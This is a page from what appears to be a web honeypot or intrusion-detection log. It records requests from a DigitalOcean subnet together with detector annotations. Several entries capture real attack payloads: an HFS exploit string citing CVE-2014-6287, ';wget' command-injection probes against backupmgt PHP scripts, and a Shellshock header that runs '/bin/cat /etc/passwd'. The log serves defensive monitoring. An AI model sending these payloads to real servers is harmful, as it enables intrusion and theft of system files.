14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#34 2024-02-05 06:26:40 event 729411 GET 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#35 2024-02-05 05:50:24 event 729174 GET 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#36 2024-02-05 05:50:24 event 729173 GET 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#37 2024-02-05 05:48:15 event 729164 POST 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#38 2024-02-05 05:48:15 event 729163 POST 301 bytes 169

ann base label observed

Request event observed

/

referer

-

UA

Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/

referer

-

UA

Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#39 2024-02-05 05:39:55 event 729120 GET 200 bytes 4533

ann proto 24 label proto

Request Encoded NUL (%00) in request target

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

Annotation facts

label

proto

rule

proto:encoded_nul_in_target

conf

92.00

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

More (full fields + snapshot) expand

url

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

summary

Encoded NUL (%00) in request target

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#40 2024-02-05 05:39:55 event 729119 GET 200 bytes 4533

ann proto 24 label proto

Request Encoded NUL (%00) in request target

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

Annotation facts

label

proto

rule

proto:encoded_nul_in_target

conf

92.00

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

More (full fields + snapshot) expand

url

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

summary

Encoded NUL (%00) in request target

details

Request target contains %00 (encoded NUL). Common in traversal / injection payloads and can trigger parser/DB edge cases.

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#41 2024-02-05 05:39:55 event 729120 GET 200 bytes 4533

ann base label observed

Request event observed

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#42 2024-02-05 05:39:55 event 729119 GET 200 bytes 4533

ann base label observed

Request event observed

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/?search==%00{.cookie|Fyxzvm|value%3dCVE-2014-6287.}

referer

-

UA

Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#43 2024-02-05 05:38:48 event 729114 GET http —

ann ua 6 label ua

Request Missing User-Agent header

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

Annotation facts

label

ua

rule

ua:missing

conf

60.00

details

Request had no User-Agent value (missing/empty field).

More (full fields + snapshot) expand

url

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

summary

Missing User-Agent header

details

Request had no User-Agent value (missing/empty field).

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#44 2024-02-05 05:38:48 event 729114 GET http —

ann base label observed

Request event observed

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#45 2024-02-05 05:38:48 event 729114 GET http —

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='GET /backupmgt/pre_connect_check.php?auth_name=fail;wget'

More (full fields + snapshot) expand

url

/backupmgt/pre_connect_check.php?auth_name=fail;wget

referer

—

UA

—

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='GET /backupmgt/pre_connect_check.php?auth_name=fail;wget'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#46 2024-02-05 05:38:47 event 729113 GET http —

ann ua 6 label ua

Request Missing User-Agent header

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

Annotation facts

label

ua

rule

ua:missing

conf

60.00

details

Request had no User-Agent value (missing/empty field).

More (full fields + snapshot) expand

url

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

summary

Missing User-Agent header

details

Request had no User-Agent value (missing/empty field).

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#47 2024-02-05 05:38:47 event 729113 GET http —

ann base label observed

Request event observed

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

Annotation facts

label

observed

rule

base_observed

conf

—

details

—

More (full fields + snapshot) expand

url

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

summary

event observed

details

—

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#48 2024-02-05 05:38:47 event 729113 GET http —

ann cmdi 28 label cmdi

Request Command/file-injection indicator: cmdi:op_plus_cmd

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

Annotation facts

label

cmdi

rule

cmdi:op_plus_cmd

conf

88.00

details

Command separator/operator combined with a recognized command token. Snippet='GET /backupmgt/localJob.php?session=fail;wget'

More (full fields + snapshot) expand

url

/backupmgt/localJob.php?session=fail;wget

referer

—

UA

—

summary

Command/file-injection indicator: cmdi:op_plus_cmd

details

Command separator/operator combined with a recognized command token. Snippet='GET /backupmgt/localJob.php?session=fail;wget'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#49 2024-02-05 05:34:46 event 729101 GET 404 bytes 3870

ann sfp 44 label sensitive_file

Request Explicit /etc/passwd read payload observed

/cgi-bin/test-cgi

referer

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

Annotation facts

label

sensitive_file

rule

sfp:payload:cat_passwd

conf

94.00

details

Payload contained an explicit attempt to read /etc/passwd. Snippet='() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd'

More (full fields + snapshot) expand

url

/cgi-bin/test-cgi

referer

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

summary

Explicit /etc/passwd read payload observed

details

Payload contained an explicit attempt to read /etc/passwd. Snippet='() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

#50 2024-02-05 05:34:46 event 729101 GET 404 bytes 3870

ann sfp 44 label sensitive_file

Request Probe for OS credential/secret file

/cgi-bin/test-cgi

referer

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

Annotation facts

label

sensitive_file

rule

sfp:file:os_secrets

conf

94.00

details

Request targeted OS credential/secret artifacts (e.g., /etc/passwd, shadow). Snippet='nored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd'

More (full fields + snapshot) expand

url

/cgi-bin/test-cgi

referer

() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd

UA

Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36

summary

Probe for OS credential/secret file

details

Request targeted OS credential/secret artifacts (e.g., /etc/passwd, shadow). Snippet='nored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd'

subnet

167.71.204.0/24

asn

14061 — DigitalOcean, LLC

geo

Singapore, South West, Singapore

org

DigitalOcean, LLC

Page 1 of 20

← Prev Next →